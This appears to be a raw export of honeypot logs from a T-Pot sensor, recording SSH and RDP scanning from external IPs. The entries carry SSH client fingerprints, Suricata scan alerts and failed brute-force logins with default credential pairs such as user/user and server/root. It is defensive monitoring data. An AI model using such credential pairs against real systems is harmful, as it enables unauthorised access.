36288	5.188.62.196	109.199.241.180	Fatt	2021-09-20 15:13:37.581749+03	2021-09-20 15:15:04.38569+03	{"_id": "igYgA3wBvYTbRNuEQmGo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 49764, "dest_port": 22, "timestamp": "2021-09-20T12:13:37.581749", "@timestamp": "2021-09-20T12:13:37.581Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	RU
36282	94.232.41.165	109.199.241.180	Suricata	2021-09-20 15:13:28.339542+03	2021-09-20 15:15:04.378691+03	{"_id": "eQYgA3wBvYTbRNuEHmGE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:13:28.256921+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1242362154642329, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 44014, "dest_port": 3389, "timestamp": "2021-09-20T12:13:28.339542Z", "@timestamp": "2021-09-20T12:13:28.339Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	RU
36283	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 15:13:25.119724+03	2021-09-20 15:15:04.37969+03	{"_id": "aAYgA3wBvYTbRNuEEWGx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "b928d3ebe086", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:13:25.119724Z", "@timestamp": "2021-09-20T12:13:25.119Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
36284	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:13:18.962042+03	2021-09-20 15:15:04.380689+03	{"_id": "WwYfA3wBvYTbRNuE-mE-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "6385653c79e5", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:13:18.962042Z", "@timestamp": "2021-09-20T12:13:18.962Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	SE
36285	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:13:37.522811+03	2021-09-20 15:15:04.38169+03	{"_id": "hwYgA3wBvYTbRNuEQGGX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "22647537fdd6", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T12:13:37.522811Z", "@timestamp": "2021-09-20T12:13:37.522Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	RU
36286	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:13:37.582482+03	2021-09-20 15:15:04.382691+03	{"_id": "iAYgA3wBvYTbRNuEQGGX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "22647537fdd6", "@version": "1", "timestamp": "2021-09-20T12:13:37.582482Z", "@timestamp": "2021-09-20T12:13:37.582Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	RU
36295	113.105.80.34	109.199.241.180	Suricata	2021-09-20 15:13:42.202542+03	2021-09-20 15:15:04.39369+03	{"_id": "rgYgA3wBvYTbRNuEVWE8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:13:41.648370+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.105.80.34", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2057772434056370, "payload": "AAADzAYUCqoXtDICmLuf5EyYbIKLDgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57592, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:13:42.202542Z", "@timestamp": "2021-09-20T12:13:42.202Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......\\n...2.....L.l......(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
36289	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:13:37.524984+03	2021-09-20 15:15:04.386691+03	{"_id": "kAYgA3wBvYTbRNuEQmHx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.196", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49764, "timestamp": "2021-09-20T12:13:37.524984", "@timestamp": "2021-09-20T12:13:37.524Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36290	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:13:37.797973+03	2021-09-20 15:15:04.38769+03	{"_id": "kQYgA3wBvYTbRNuERGF_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "22647537fdd6", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T12:13:37.797973Z", "@timestamp": "2021-09-20T12:13:37.797Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	RU
36291	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:13:38.861116+03	2021-09-20 15:15:04.38869+03	{"_id": "kwYgA3wBvYTbRNuESGFo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "22647537fdd6", "@version": "1", "duration": 1.3386592864990234, "timestamp": "2021-09-20T12:13:38.861116Z", "@timestamp": "2021-09-20T12:13:38.861Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	RU
36292	192.168.20.103	109.199.241.180	Suricata	2021-09-20 15:13:39.969569+03	2021-09-20 15:15:04.390689+03	{"_id": "lAYgA3wBvYTbRNuESWGC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:13:39.969569Z", "@timestamp": "2021-09-20T12:13:39.969Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36293	218.92.0.190	109.199.241.180	Suricata	2021-09-20 15:13:41.593986+03	2021-09-20 15:15:04.391689+03	{"_id": "ogYgA3wBvYTbRNuEUWFS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:13:40.587492+0000", "pkts_toclient": 1, "pkts_toserver": 2, "bytes_toclient": 74, "bytes_toserver": 148}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1763805544904420, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 64802, "dest_port": 22, "timestamp": "2021-09-20T12:13:41.593986Z", "@timestamp": "2021-09-20T12:13:41.593Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	CN
36294	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 15:13:41.925286+03	2021-09-20 15:15:04.39269+03	{"_id": "rAYgA3wBvYTbRNuEVGEi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.105.80.34:57592 (192.168.176.2:22) [session: d73f305a2b82]", "session": "d73f305a2b82", "@version": "1", "protocol": "ssh", "src_port": 57592, "dest_port": 22, "timestamp": "2021-09-20T12:13:41.925286Z", "@timestamp": "2021-09-20T12:13:41.925Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
36296	113.105.80.34	109.199.241.180	Fatt	2021-09-20 15:13:42.202542+03	2021-09-20 15:15:04.394692+03	{"_id": "rwYgA3wBvYTbRNuEVmEz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 57592, "dest_port": 22, "timestamp": "2021-09-20T12:13:42.202542", "@timestamp": "2021-09-20T12:13:42.202Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
36297	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 15:13:43.39973+03	2021-09-20 15:15:04.396691+03	{"_id": "sAYgA3wBvYTbRNuEWGEL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.login.failed", "message": "login attempt [server/root] failed", "session": "d73f305a2b82", "@version": "1", "password": "root", "username": "server", "timestamp": "2021-09-20T12:13:43.399730Z", "@timestamp": "2021-09-20T12:13:43.399Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
